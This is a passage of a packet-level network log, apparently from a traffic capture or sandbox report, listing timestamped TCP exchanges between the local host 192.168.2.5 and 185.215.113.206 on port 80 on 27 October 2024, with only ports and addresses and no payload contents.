Oct 27, 2024 17:54:11.636910915 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.636921883 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:11.636961937 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.636992931 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:11.636992931 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:11.636996984 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.637022018 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:11.637061119 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:11.664956093 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.664984941 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.665004015 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.665033102 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:11.665075064 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:11.670074940 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.670209885 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.670243025 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:11.670244932 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.670277119 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:11.670279980 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.670299053 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:11.670331955 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.670336962 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:11.670367002 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.670382977 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:11.670403957 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.670418024 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:11.670454025 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.670456886 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:11.670486927 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.670506954 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:11.670521021 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.670530081 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:11.670568943 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:11.710911036 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.710953951 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.711004019 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:11.711009026 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.711033106 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:11.711052895 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:11.711059093 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.711095095 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.711106062 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:11.711128950 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.711143017 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:11.711169958 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:11.711311102 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.711364985 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.711385965 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:11.711397886 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.711405993 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:11.711447001 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:11.711643934 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.711699963 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:11.711713076 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.711747885 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.711765051 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:11.711796999 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.711802006 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:11.711833954 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.711857080 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:11.711878061 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:11.712275028 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.712308884 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.712332964 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:11.712342978 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.712368965 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:11.712388992 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:11.712542057 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.712594986 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.712599993 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:11.712629080 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.712646008 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:11.712662935 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.712682962 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:11.712718010 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:11.751935959 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.752005100 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.752017975 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.752027988 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.752054930 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.752068996 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.752085924 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:11.752123117 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:11.752192020 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.752216101 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.752259970 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:11.752260923 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:11.780189991 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.780303001 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:11.780314922 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.780328989 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.780343056 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.780369997 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:11.780391932 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:11.785466909 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.785510063 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.785533905 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.785561085 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.785558939 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:11.785578012 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.785617113 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:11.785618067 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:11.785654068 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:11.785711050 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.785725117 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.785761118 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:11.785773993 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.785782099 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:11.785789013 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.785803080 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.785832882 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:11.785860062 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:11.826822042 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.826878071 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.826898098 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.826919079 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.826925039 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:11.826939106 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.826957941 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.826980114 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.827011108 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.827017069 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:11.827018023 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:11.827048063 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:11.827076912 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:11.827595949 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.827629089 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.827647924 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.827665091 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:11.827696085 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:11.827712059 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.827716112 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:11.827733040 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.827773094 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:11.827794075 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:11.828272104 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.828291893 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.828311920 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.828331947 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.828341007 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:11.828352928 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.828372002 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.828392029 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.828393936 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:11.828437090 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:11.829024076 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.829087019 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:11.867286921 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.867332935 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.867351055 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.867369890 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.867377043 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:11.867410898 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:11.867415905 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.867465973 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.867475986 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:11.867484093 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.867573023 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:11.867573023 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:11.896037102 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.896061897 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.896083117 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.896131992 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:11.896169901 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:11.901930094 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.901964903 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.901984930 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.902004957 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.902012110 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:11.902034998 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.902035952 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:11.902055979 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.902076960 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.902091026 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:11.902096033 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.902112961 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:11.902116060 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.902134895 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.902153969 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.902167082 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:11.902178049 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.902206898 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:11.902225018 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:11.942209005 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.942286968 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.942320108 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.942339897 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.942349911 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:11.942361116 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.942394972 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.942404985 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:11.942434072 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:11.942456961 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:11.942656040 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.942677021 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.942699909 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.942712069 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:11.942723036 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.942739964 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:11.942775011 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:11.943073988 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.943105936 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.943125963 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.943140030 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:11.943162918 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.943181992 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.943181992 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:11.943222046 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:11.943263054 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:11.943634987 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.943650007 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.943706036 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:11.943734884 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.943768024 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.943785906 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:11.943787098 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.943825006 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:11.943835020 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.943845034 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:11.943855047 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.943887949 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:11.943907976 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:11.982661009 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.982717991 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.982738972 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.982749939 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:11.982772112 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.982774019 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:11.982789993 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.982803106 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:11.982829094 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:11.982862949 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:11.982896090 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.982916117 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.982934952 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:11.982950926 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:11.982969046 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:11.982995033 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.011559010 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.011595964 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.011621952 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.011643887 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.011681080 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.016132116 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.016170979 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.016191959 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.016196012 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.016211987 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.016233921 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.016241074 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.016253948 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.016263008 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.016314030 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.016442060 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.016462088 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.016484022 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.016499043 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.016510963 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.016530037 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.016540051 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.016585112 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.057745934 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.057779074 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.057813883 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.057828903 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.057833910 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.057847977 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.057853937 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.057873964 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.057888031 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.057895899 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.057913065 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.057933092 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.057965994 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.058022976 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.058042049 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.058077097 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.058078051 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.058106899 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.058129072 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.058321953 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.058341980 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.058362961 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.058377028 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.058384895 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.058398962 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.058433056 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.058461905 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.058707952 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.058746099 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.058765888 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.058770895 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.058785915 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.058804989 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.058821917 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.058847904 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.059048891 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.059113979 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.059113979 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.059143066 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.059163094 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.059164047 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.059185982 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.059186935 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.059217930 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.059237957 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.098148108 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.098191977 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.098215103 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.098229885 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.098234892 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.098254919 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.098264933 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.098277092 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.098294020 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.098337889 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.127012968 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.127034903 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.127068996 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.127088070 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.127106905 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.127118111 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.127126932 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.127182007 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.131617069 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.131700039 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.131742001 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.131788015 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.131827116 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.131835938 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.131942987 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.131973982 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.131973982 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.132008076 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.132052898 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.132081985 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.132097006 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.132143021 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.132185936 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.132241011 CET	49704	80	192.168.2.5	185.215.113.206
